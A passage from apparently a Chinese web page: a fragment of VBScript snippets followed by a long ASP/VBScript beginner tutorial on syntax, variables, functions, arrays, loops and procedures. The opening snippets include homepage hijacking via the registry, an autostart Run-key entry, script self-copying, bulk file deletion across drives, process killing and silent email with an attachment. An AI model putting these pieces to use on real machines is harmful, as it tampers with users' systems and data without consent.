    ws.Run “RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters” Set
    ws=Nothing

    VBS获取系统安装路径C:\WINDOWS路径 先定义这个变量是获取系统安装路径的,然后我们用”strWinDir”调用这个变量。 Set
    WshShell = WScript.CreateObject(“WScript.Shell”) strWinDir =
    WshShell.ExpandEnvironmentStrings(“%WinDir%”) VBS获取C:\Program Files路径
    Set WshShell = WScript.CreateObject(“WScript.Shell”) strPorDir =
    WshShell.ExpandEnvironmentStrings(“%ProgramFiles%”) VBS获取C:\Program
    Files\Common Files路径 Set WshShell =
    WScript.CreateObject(“WScript.Shell”) strCommDir =
    WshShell.ExpandEnvironmentStrings(“%CommonProgramFiles%”) 给桌面添加网址快捷方式
    Set WshShell = WScript.CreateObject(“Wscript.Shell”) strDesktop =
    WshShell.SpecialFolders(“Desktop”) Set oShellLink =
    WshShell.CreateShortcut(strDesktop & “\百度.lnk”) oShellLink.TargetPath
    = “http://www.baidu.com/” oShellLink.Description = “百度主页” oShellLink.IconLocation = “%ProgramFiles%\Internet
    Explorer\iexplore.exe, 0” oShellLink.Save

    给收藏夹添加网址 Const ADMINISTRATIVE_TOOLS = 6 Set objShell =
    CreateObject(“Shell.Application”) Set objFolder =
    objShell.Namespace(ADMINISTRATIVE_TOOLS) Set objFolderItem =
    objFolder.Self Set objShell = WScript.CreateObject(“WScript.Shell”)
    strDesktopFld = objFolderItem.Path Set objURLShortcut =
    objShell.CreateShortcut(strDesktopFld & “\百度.url”)
    objURLShortcut.TargetPath = “http://www.baidu.com/
    objURLShortcut.Save

    删除指定目录指定后缀文件 On Error Resume Next Set fso =
    CreateObject(“Scripting.FileSystemObject”) fso.DeleteFile “C:*.vbs”,
    True Set fso = Nothing VBS改主页 Set oShell =
    CreateObject(“WScript.Shell”) oShell.RegWrite
    “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start
    Page”,”http://www.baidu.com/” VBS加启动项 Set
    oShell=CreateObject(“Wscript.Shell”) oShell.RegWrite
    “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd”,”cmd.exe”

    VBS复制自己到C盘 Dim fso Set fso =
    WScript.CreateObject(“Scripting.Filesystemobject”)
    fso.getfile(wscript.scriptfullname).copy(“c:\cik.vbs”)

    复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的cik.exe) Dim fso Set fso =
    WScript.CreateObject(“Scripting.Filesystemobject”)
    fso.getfile(“game.exe”).copy(“c:\cik.exe”)

    VBS获取系统临时目录 Dim fso Set fso =
    CreateObject(“Scripting.FileSystemObject”) Dim tempfolder Const
    TemporaryFolder = 2 Set tempfolder =
    fso.GetSpecialFolder(TemporaryFolder) Wscript.Echo tempfolder

    就算代码出错 依然继续执行 On Error Resume Next VBS打开网址 Set objShell =
    CreateObject(“Wscript.Shell”) objShell.Run(“http://www.baidu.com/“)
    VBS发送邮件 NameSpace = “http://schemas.microsoft.com/cdo/configuration/
    Set Email = CreateObject(“CDO.Message”) Email.From = “发件@qq.com”
    Email.To = “收件@qq.com” Email.Subject = “这里写标题” Email.Textbody =
    “这里写内容!” Email.AddAttachment “C:\这是附件.txt” With
    Email.Configuration.Fields .Item(NameSpace&”sendusing”) = 2
    .Item(NameSpace&”smtpserver”) = “smtp.qq.com”
    .Item(NameSpace&”smtpserverport”) = 25
    .Item(NameSpace&”smtpauthenticate”) = 1
    .Item(NameSpace&”sendusername”) = “发件人用户名”
    .Item(NameSpace&”sendpassword”) = “发件人密码” .Update End With Email.Send
    VBS结束进程 strComputer = “.” Set objWMIService = GetObject _
    (“winmgmts:\” & strComputer & “\root\cimv2”) Set colProcessList =
    objWMIService.ExecQuery _ (“Select * from Win32_Process Where Name =
    Rar.exe“) For Each objProcess in colProcessList objProcess.Terminate() Next VBS隐藏打开网址(部分浏览器无法隐藏打开,而是直接打开,适合主流用户使用)
    createObject(“wscript.shell”).run “start http://www.baidu.com/“,0

    兼容所有浏览器,使用IE的绝对路径+参数打开,无法用函数得到IE安装路径,只用函数得到了Program
    Files路径,应该比上面的方法好,但是两种方法都不是绝对的。 Set
    objws=WScript.CreateObject(“wscript.shell”) objws.Run “”“C:\Program
    Files\Internet Explorer\iexplore.exe”“http://www.baidu.com“,0

    VBS遍历硬盘删除指定文件名 On Error Resume Next Dim fPath strComputer = “.” Set
    objWMIService = GetObject(“winmgmts:\” & strComputer & “\root\cimv2”)
    Set colProcessList = objWMIService.ExecQuery(“Select * from
    Win32_Process Where Name = gangzi.exe“) For Each objProcess In
    colProcessList objProcess.Terminate() Next Set objWMIService =
    GetObject(“winmgmts:{impersonationLevel=impersonate}!\” & strComputer
    & “\root\cimv2”) Set colDirs = objWMIService.ExecQuery(“Select * from
    Win32_Directory where name LIKE %c:% or name LIKE %d:% or name
    LIKE %e:% or name LIKE %f:% or name LIKE %g:% or name LIKE
    %h:% or name LIKE %i:%“) Set objFSO = CreateObject(“Scripting.FileSystemObject”) For Each objDir In colDirs
    fPath = objDir.Name & “\cik.exe”
    *如果文件名是cik.exe就删除 objFSO.DeleteFile(fPath), True Next

    0x40VBS To Exe 编译器

    将图片右键另存为并修改后缀为.zip即可使用。
    hhh

    展开全文
  • VBscript脚本.rar

    2019-07-09 09:22:19
    VBscript脚本
  • VBScript脚本语言

    2014-06-08 23:19:42
    VBScript脚本语言VBScript脚本语言
  • VBScript脚本专题

    2009-11-05 21:58:17
    VBScript脚本专题 VBScript脚本专题 VBScript脚本专题
  • vbScript脚本学习

    2011-12-06 12:50:28
    vbScript脚本学习,QTP 会用到
  • VBscript脚本语言

    2018-04-06 18:57:00
     在ASP中,通过使用VBscript脚本语言编写程序代码,可以实现主要的功能模块。将VBscript程序嵌入到HTML中,制作出动态交互的Web页面,VBScript是程序开发语言Visual Basic的一个子集,为ASP默认的编程语言  一、...

    VBScript语言概述

      在ASP中,通过使用VBscript脚本语言编写程序代码,可以实现主要的功能模块。将VBscript程序嵌入到HTML中,制作出动态交互的Web页面,VBScript是程序开发语言Visual Basic的一个子集,为ASP默认的编程语言

      一、VBScript脚本语言的特点

    •   语言简单,易学易懂
    •   增强客户端功能、降低WEB服务器负荷。VBScript使得程序在将表单数据发送到服务器之前,就可以验证表单的数据,以进行相应处理,还可以动态的创建新的WEB内容,甚至可以编写完全在客户端运行的程序,并可以用于扩展客户端的功能
    •   可用于ASP程序设计。ASP提供了一个服务器端的脚本环境,应用VBScript语言可编写动态、交互、高效的应用程序。
    •   多种嵌入形式。开发者可以应用免费的VBScript脚本来编写程序。VBScript与IE浏览器是集成在一起的,VBScript和ActiveX空间也可以在应用程序中结合使用以实现特定的功能

      二、VBScript代码编写格式

      VBScript是VB语言的子集,他是专门为IE开发的编程语言,使用VBScript的目的是控制页面内容的动态交互性。使用VBScript可以编写服务器端脚本,也可以编写客户端脚本

      1.服务器端脚本编写格式

      服务器端脚本在服务器上执行,由服务器根据脚本的执行结果生成相应的HTML界面,发送到客户端。只有服务器端脚本才能实现真正的“动态网页“的功能。服务器端脚本的执行不受浏览器的限制,脚本在网页通过网络传送给浏览器之前被执行,WEB浏览器收到的只是标准的HTML文件

      在ASP程序中,编写服务器端脚本有两种方法。

      a.方法一:将脚本代码放在<%...%>标识符之中

    <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
    <title>服务器端脚本1</title>
    </head>
        <%
            dim num
            num=1
            if num <> 0 then response.Write("欢迎来到ASP编程世界")
        %>        
    <body>
    </body>
    </html>
    View Code

      b.方法二:将脚本代码放置在<script>...</script>标记之间

    <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
    <title>服务器端脚本2</title>
    </head>
        <script language="vbscript" runat="server">
            dim num
            num=1
            if num <> 0 then response.Write("欢迎来到ASP编程世界")
        </script>        
    <body>
    </body>
    </html>
    View Code

      2.客户端脚本编写格式

      客户端本由浏览器解释执行。由于客户端脚本随着HTML页面下载到客户端浏览器,在用户本地执行,因此其执行速度明显快于服务器端脚本。客户端脚本常用于做简单的客户端验证或实现网页特效等。

      客户端脚本的代码是写在<script></script>标记之间的。可以将编写完成的代码块放置在HTML文档中的任何位置。但是通常情况下,是在代码块放在<Head>标记之间的,以便查看和使用

      <script language="脚本语言" [event="事件名称"] [for="对象名称"]>

        <!--

          //脚本代码

        -->

      </script>

        language:用于指定脚本代码使用的语言

      event:用于指定脚本代码相关联的事件

      for:用于指定脚本代码相关联的对象

    <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
    <title>客户端脚本</title>
    <script language="VBSCRIPT" event="onClick" for="btn1">
        MsgBox "您单击了此按钮"
    </script>
    </head>
    <body>
    <input name="btn1" value="单击按钮" type="button" id="btn1"/>
    </body>
    </html>
    View Code

    注意:VBScript的MsgBox函数不能在服务器端脚本中使用,因为信息框是用户界面元素,不能在服务器端执行

    三、常量与变量

      常量与变量是VBScript的常见元素,本节介绍VBScript中常量、变量的声明和赋值以及如何确定变量的作用域和存活期

      1.VBscript常量

      常量是具有一定含义的名称,用于代替数值和字符串,在程序执行期间其值不会发生变化。常量可分为普通常量和符号常量。普通常量可以称为文字常量,它不必定义就可以在程序中使用,而符号常量则要以Const语句加以声明才能使用

      a.文字常量

      按照数据类型的不同,分为字符串常量、数值常量和日期时间常量

      字符串常量:主要是由一对双引号括起来的字符序列组成

      数值常量:分为整形常量、长整型常量和浮点型常量。其中整形常量和长整型常量可以用十进制、十六进制和八进制三种形式表示

      日期和时间常量::用一对#号括起来#2007-12-09 11:12:32#

      b.符号常量

      符号常量使用一个标识符表示的常量,用于代替数字和字符串,在程序执行期间其值不会发生变化。在VBScript中,可以通过关键字Const语句定义。分为预定义符号常量和用户自定义常量

      预定义常量:是在VBScript中建立的,并在使用之前不用定义的常量。在代码的任意位置都可以使用此常量所表示的说明值。例如:vbCr表示回车;Empty表示没有初始化之前的值

      用户自定义常量:通过Const语句来创建的。使用Const语句可以创建具有一定意义的字符串型或数值型常量,并赋予一个初始值。例如:Const PI=3.1415  Const OlympicsBJ=#2008-8-8#

      2.变量的声明和赋值

      变量是一种使用方便的占位符,主要用于引用计算机的内存来存储脚本运行时更改的数据类型。在VBScript中的变量不区分大小写。

      VBScript中声明 变量有两种方式,一种是显式声明,另一种是隐式声明

      显示声明:通过变量声明语句来声明变量,它可以在定义变量的时候为变量在内存中预留内存空间。声明语句包括Dim语句、public语句和private语句。一个声明语句可以声明多个变量,并应用逗号将多个变量分开

      ① 通过Dim语句声明变量

      Dim 变量名 [,变量名]

        <%
            dim i
            dim Conn,ConnStr,Rs,sqlStr
            dim array(10)
        %>
    View Code

      ② 通过public语句声明变量

      public 变量名 [,变量名]

      例如:public Standard

      ③ 通过Private语句声明变量

      private语句是用来声明私有变量的,声明的变量只能在声明它的脚本中使用

      private 变量名 [,变量名]

      隐式声明:因为在VBScript中只有一种数据类型,即遍体类型,所以在VBscript中使用一个变量前是无需声明的,可以直接在脚本代码中使用。当在程序运行过程中检测到该变量时,系统会自动在内存中开辟存储区域并登记该变量名。

      为了避免隐式声明时因写错变量名等一起的问题,在VBScript中提供了Option Explcit语句。强制声明会增加代码量,但可以提高程序的可读性,减少出错的机会,Option Explcit语句必须位于ASP处理命令之后、任何HTML文本或脚本命令之前。

    <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
        <%
            Option Explicit
        %>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
    <title></title>
    </head>
    <body>
        <%
            dim str
            str="sss"
        %>
    </body>
    </html>
    View Code

       3.变量的作用域和存活期

      ①变量的作用域:由声明的位置决定。分为脚本级变量和过程级变量

    <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
    <title>区分变量的作用域</title>
    </head>
    <body>
        <%
            dim str                '声明脚本级变量
            str="体育项目"        '赋值
            call GetResult()    '调用子过程
            Response.Write str    '输出变量的值
            
            '下面定义子过程
            sub GetResult()
            dim str                '声明过程级变量
            str="网球、乒乓球、足球..."
            end sub        
        %>
    </body>
    </html>
    View Code

    四、运算符的应用

      运算符是完成操作的一系列符号。VBScript中运算符包括算数运算符、连接运算符、关系运算符、逻辑运算符等几种类型。当表达式包含多个运算符时,将按预定顺序计算每一部分,该顺序称为优先级

       1.算数运算符

      +:加法

      -:减法

      *:乘法

      ^:指数次方

      /:相除返回浮点型结果

      \:相除返回整形结果

       2.连接运算符

       连接运算符是将两个字符串连接起来形成一个字符串,有+和&两种,其中+连接两个字符串,&可以用来连接两种不同类型的数据

    <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
    <title></title>
    </head>
    <body>
        <%
            dim s1,s2,s3,r1,r2
            s1="today "
            s2="is "
            s3=#12/25/09#
            r1=s1 + s2        '字符串与字符串的连接
            r2=r1 & s3        '字符串与日期的连接
            response.Write r2
        %>
    </body>
    </html>
    View Code

      3.关系运算符

      关系运算符用于对两个表达式的值进行比较

    <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
    <title>关系运算符</title>
    </head>
    <body>
        <%
            Dim x
            x=100
            if x <> 200 then    '判断x是否与200相等
                response.Write "不相等"
            else
                response.Write "相等"
            end if
        %>
    </body>
    </html>
    View Code

       4.逻辑运算符

      逻辑运算符通常也称为布尔运算符,专门用于逻辑之间的运算。用于完成逻辑运算符的运算符有以下几种

      ①取反 Not

      ②与运算 And

      ③或运算 Or

      ④异或运算 Xor:如果两个表达式的结果同时为真或同时为假则结果为假,不然为真

      ⑤等价运算符 Eqv:是异或运算符取反的结果

     五、函数的应用

       VBScript提供了许多重要的内部函数,如字符串函数、转换函数、日期和时间函数、判断函数、数学函数以及其它函数的应用

      1.字符串处理

    函数 说明
    Asc(str) 返回第一个字符的ASCII字符代码
    InStr(start,str1,str2) 返回从字符串str1的start位置查找str2第一次出现的位置,str1和str2同时返回0
    Lcase(str) 将字符串中的所有字符转换为小写
    Left(str,len) 返回字符串str最左侧长度为len的字符串
    Len(str) 返回字符串的长度
    Ltrim(str) 去除str左侧的空格
    Mid(str,start,len) 返回从str的第start个字符开始的len个字符
    Right(str,len) 返回字符串右侧的len个字符
    Rtrim(str) 去掉字符串右边的空格
    StrComp(str1,str2,[method]) 使用method方式比较两个字符,其中0表示二进制方式比较,1表示文字方式比较。比较的结果返回为1、-1、0
    InStrRev(str1,str2) 返回字符串str1中从尾部开始搜索某字符串str2第一次出现的位置
    Trim(str) 去除字符串两端的空格
    Ucase(str) 将字符串str转换为大写

     

    <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
    <title>取字符串的子串</title>
    <style type="text/css">
    <!--
    .STYLE1 {
        color: #3333CC;
        font-style: italic;
        font-weight: bold;
    }
    -->
    </style>
    </head>
    <body>
        <span class="STYLE1">代码要求:取出”2015-12-14 15:05:03“中的年月日部分:    </span><br>
        <%
            dim r,len,str
            r=#2015-12-14 15:05:03#
            len=InStr(1,r," ")
            str=Left(r,len)
            response.Write str
        %>
    </body>
    </html>
    View Code

      2.数据转换

      转换函数用于将一种类型的数据转换为其它类型的数据

    函数 说明
    CBool(expression) 将expression转换为布尔类型
    CByte(expression) 将expression转换为单字节类型
    CDate(expression) 将expression转换为日期类型
    CDbl(expression) 将expression转换成双精度类型
    Chr(expression) 将expression所表示的ASCII转换为对应字符串
    CInt(expression) 将expression转换成整数类型
    CLng(expression) 将expression转换成长整数类型
    CSng(expression) 将expression转换成单精度类型
    CStr(expression) 将expression 转换成字符串类型
    Hex(expression) 将expression 转换成十六进制类型
    Int(expression) 将expression 向下取整
    Fix(expression) 将expression 向上取整
    Oct(expression) 将expression 转换成八进制类型

     如例:将字符串转换为整形

    <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
    <title>将字符串转为整形</title>
    </head>
    <body>
        <%
            dim str,num
            str="100"
            num=Cint(str)+2
            response.Write num
        %>
    </body>
    </html>
    View Code

       3.日期时间数据的处理

      日期时间函数用于对日期、时间数据进行处理

    函数 说明
    Date() 返回系统当前日期
    DateSerial(year,moth,day) 返回日期子类型
    DateVlaue(String) 将字符串转换为日期型
    Day(Date) 返回给定日期中的天
    Hour(Time) 返回给定时间中的小时
    Minute(Time) 返回给定时间中的分钟
    Second(Time) 返回给定时间中的秒
    Now() 返回当前系统的日期和时间
    Time() 返回当前系统的时间
    TimeVlaue(String) 将字符串转换为时间型
    Year(Date) 返回当前日期的年
    Month(Date) 返回当前日期的月份
    WeekDay(Date) 返回一周中的某一天
    DateDiff("str",d1,d2)

    计算两个日期之间的间隔,str为yyyy表示计算年间隔,为m表示计算月间隔,

    为d表示日间隔,为ww表示星期间隔,为h表示计算小时间隔,为s表示计算秒间隔

    DateAdd("str",num,d1)

    返回日期d1加上数字num后的日期,其中num的单位根据str的值而不同

     

    <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
    <title>得到计算的时</title>
    </head>
    <body>
        <script language="vbscript" runat="server">
            response.write("今天是星期" & WeekDay(Date)-1 & "<br>")
            response.write("两年前的今天是" & DateAdd("yyyy",-2,Date()) & "<br>")
            response.write("距离2018-05-01还有:" & DateDiff("d",Date(),#2018-05-01#) & "")
        </script>
        
    </body>
    </html>
    View Code

       4.数据类型的判断

    函数 说明
    IsArray(Var) 判断var是否为一个数组
    IsDate(Var) 判断var是否可以转换为日期类型
    IsEmpty(Var) 判断var是否已经被初始化
    IsNull(Var) 判断var是否为空
    IsNumber(Var) 判断var是否为数字
    IsObject(Var) 判断var是否为对象
    VarType(Var) 判断var的类型,返回0表示空,2表示整数,7表示日期,8表示字符串,11表示布尔值,8204表示数组

      数据类型判断函数应用比较广泛,在使用数据之前判断此数据的类型,有助于提高程序运行的有效性

    <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
    <title>判断函数应用</title>
    </head>
    <body>
        <%
            dim num
            num=1
            if not isempty(num) then
                response.Write "不为空"
            else
                response.Write "空值"
            end if
        %>
    </body>
    </html>
    View Code

     

      5.数学函数的应用

    函数 说明
    Rnd 用于返回一个随机数
    Randomize 初始化随机数生成器
    Int 返回数字的整数部分
    Fix 返回数字的整数部分
    Abs 返回数字的绝对值
    Exp 返回e的幂次方
    Log 返回数值的自然对数
    Sqr 返回数值的平方根
    Round 返回按指定位数进行四舍五入对的值

      代码:生成随机数

    <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
    <title>生成随机数</title>
    </head>
    <body>
        <%
            dim i,r,str
            for i=1 to 3
                Randomize
                r=Int((6*rnd)+1)
                str=str&r
            next
            response.Write "生成随机数为:" & str
        %>
    </body>
    </html>
    View Code

     

    六、数组的创建与应用

      数组是有序数据的集合。数组中的每一个元素都属于同一数据类型,用一个统一的数组名和下标可以唯一确定数组中的元素,下标是放在紧跟在数组名之后的括号中。数组的最大维数为60

      1.创建数组

      在VBScript中有固定数组和动态数组两种

      ①固定数组:数组大小在程序运行时不可改变的数组。数组在使用前必须先声明

        dim array(i)

      在VBScript中,数组的下标是从0开始计数的,数组的长度为i+1

      例如:

        dim ary(3)    '该数组的长度是4而不是3

        dim db_array(5,10)  '声明一个6*11的二维数组

      声明数组后就可以通过下标对数组进行指定赋值

      例如:

        dim ary(3)

        ary(0)="demo"

      ②动态数组:声明数组时也可以不指明它的下标,这样的数组叫做变长数组

      例如:

        dim ary()

      虽然动态数组声明时无须指明下标,但在使用它之前必须使用ReDim语句确定数组的维数

        dim array()

        Redim array(i)

    <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
    <title>使用动态数组</title>
    </head>
    <body>
        <%
            dim i
            dim MyArray()        '声明动态数组
            Redim MyArray(3)    '定义长度为4
            
            for i=0 to 3
                MyArray(i)=2*i
            next
            response.Write "数组MyArray中元素为:<br>"
            for i=0 to 3
                response.Write MyArray(i) & "<br>"
            next
        %>
    </body>
    </html>
    View Code

     

      使用Redim语句可以多次改变元素下标,即重新动态调整动态数组大小的次数是没有限制的,但是使用Redim语句重新声明数组后,原有数组的数值将会全部清空,如果希望保留原有下标数值,则可以I使用Preserve关键字

      例如:

        dim ary()

        Redim ary(5)

        ......

        Redim Preserve ary(Ubount(ary)+1)

        以上代码将数组长度加1,但数组中原有的元素值不变。Ubound()函数返回原有数组的最大索引

      2.应用数组函数

      数组函数用于对数组的操作,主要有LBound函数、UBound函数、Split函数和Erase函数

      ①LBound函数:返回指定数组维的最小可用下标

        LBound(函数名称,[,维数])

      维数是指要返回指定维下界的整数,如果为1则表示第一维,为2表示第二维...如果省略维数,则默认维数为1

      例如:代码结果为0

    <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
    <title>使用动态数组</title>
    </head>
    <body>
        <%
            dim ary(5,10)
            response.Write(LBound(ary,2))
        %>
    </body>
    </html>
    View Code

     

      ②UBound函数:返回指定数组维的最大可用下标

      UBound(函数名称,[,维数])

      ③Split函数:返回基于0的一维数组,其中包含指定数组的子字符串。

      Split(expression [,分隔符 [,count [,比较类型]]])

        expression:表示需要处理的字符串,包含子字符串和分隔符。如果表达式长度为零,则返回空数组

        count:可选项,表示被返回的子字符串数目,如果为-1,则返回所有子字符串。

        比较类型:为可选项,用于指示在计算子字符串时使用的比较类型的数值,0表示二进制比较,1表示文本比较,2表示基于数据库中包含信息的比较

      例如:读取字符串中以符号/分割的各子字符串

    <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
    <title>使用动态数组</title>
    </head>
    <body>
        <%
            dim str,str_sub,i
            str="ASP程序开发/VB程序开发/.NET程序开发"
            str_sub=Split(str,"/")
            for i=0 to Ubound(str_sub)
                response.Write(i+1 & ". " & str_sub(i) & "<br>")
            next
        %> 
    </body>
    </html>
    View Code

     

       ④Erase函数:重新初始化固定大小数组的元素,并释放数组的存储空间。

        Erase array

    七、程序控制语句

      1.选择语句

      ①if...then...end if

      ②if...then...else...end if

      ③select case 变量或表达式

        case:结果1

          命令序列

        ...

        end select

      2.循环语句

      ① do...loop语句分为两种

      循环条件出现在语句的开始部分

      do while 条件表达式

        循环体

      Loop

      或

      do util 条件表达式

        循环体

      Loop

      循环条件出现在语句的结尾部分

      do

        循环体

      loop while 条件表达式

      或

      do

        循环体

      loop util 条件表达式

      其中while和util关键字的作用相反,while是条件为true时执行循环体,而util是条件为true时退出循环体

      在do...loop语句中,当条件表达式在前时,表示在循环条件为真时才能执行循环体,而表达式在后时,至少会执行一次循环体

      在do...loop语句中,强制退出循环使用exit do,for语句中使用exit for

      例如:应用do...loop计算多个数字的和

     1 <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
     2 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
     3 <html xmlns="http://www.w3.org/1999/xhtml">
     4 <head>
     5 <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
     6 <title>do loop</title>
     7 </head>
     8 <body>
     9     <%
    10         dim num,sun
    11         num=0
    12         sum=0
    13         do until num>50
    14             num=num+1
    15             sum=sum+num
    16         loop
    17         response.Write("求和得到的结果是: " & sum)
    18     %> 
    19 </body>
    20 </html>
    View Code

      ②while...wend循环控制语句 :当指定的条件为true时执行一系列的语句,该语句与do...loop循环语句类似

      while condition

        [statement]

      wend

      condition:数值或字符串表达式,其计算结果为true或false。

       ③for...next循环控制语句:for...next语句是一种强制性的循环语句

      for count=start to end [step number]

        statement

          [exit for]

      Next

      ④ for each ...next循环控制语句:主要用于数组或集合中的每个元素而重复执行的语句,特别是在不知道集合长度的时候是不错的选择

      for each 元素 in 集合或数组

        循环体

        [exit for]

      next

      ⑤exit退出循环语句:主要用于退出,do...loop、for...next、function、sub代码块,其对应的退出语句分别为exit do、exit for、exit function、exit sub

    八、过程的创建与调用  

      过程是一组能执行指定任务的脚本命令,在VBScript中,过程分为两种,分为Sub过程和Function过程,两者的区别在于sub没有返回值,而function过程有返回值

      1.调用sub过程

      sub过程指包含在sub和end sub之间的VBScript语句,该过程执行操作但是没有返回值,sub过程可以使用参数(参数可以为调用过程传递的常量、变量或表达式)

      声明一个过程的语法格式如下:

      Sub 子程序名([参数1,参数2])

        ......

      end sub

      在asp页面中,调用sub有以下方式

      ①使用call语句调用sub过程

        call 子程序名(参数1,参数2)    ‘使用call语句可以将控制权传递给sub过程

      ②直接调用sub过程

      子程序名 参数1,参数2...

      例如:自定义sub过程判断闰年

     1 <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
     2 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
     3 <html xmlns="http://www.w3.org/1999/xhtml">
     4 <head>
     5 <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
     6 <title>判断闰年</title>
     7 </head>
     8 <body>
     9     <%
    10         sub y(num)
    11             if (num mod 4=0) and (num mod 100 <> 0) then
    12                 response.Write(num & "年:是闰年<br>")
    13             else
    14                 response.Write(num & "年:不是闰年<br>")
    15             end if
    16         end sub
    17         call y(2000)
    18         y 2020
    19     %> 
    20 </body>
    21 </html>
    View Code

     

      2.调用function过程

      Function过程是包含在Function和end Function之间的一组VBScript语句,Function通过过程名返回一个值,这个值是在过程的语句中赋值给过程名的。Function返回值的类型总是Varian

      Function过程的语法格式如下:

      [public | private] Function name ([arglist])

        [statements]

        [name=expression]

        [exit Function]

        [Statemtns]

        [name=expression]

      end function

      function过程各参数说明:

    参数 说明
    public 表示Function过程可以被脚本中的所有其他过程访问
    private 表示Function过程只能被声明它的脚本中的过程访问
    name 过程名称
    arglist 参数列表
    statements 主体中执行的语句组
    expression 常量、变量或表达式

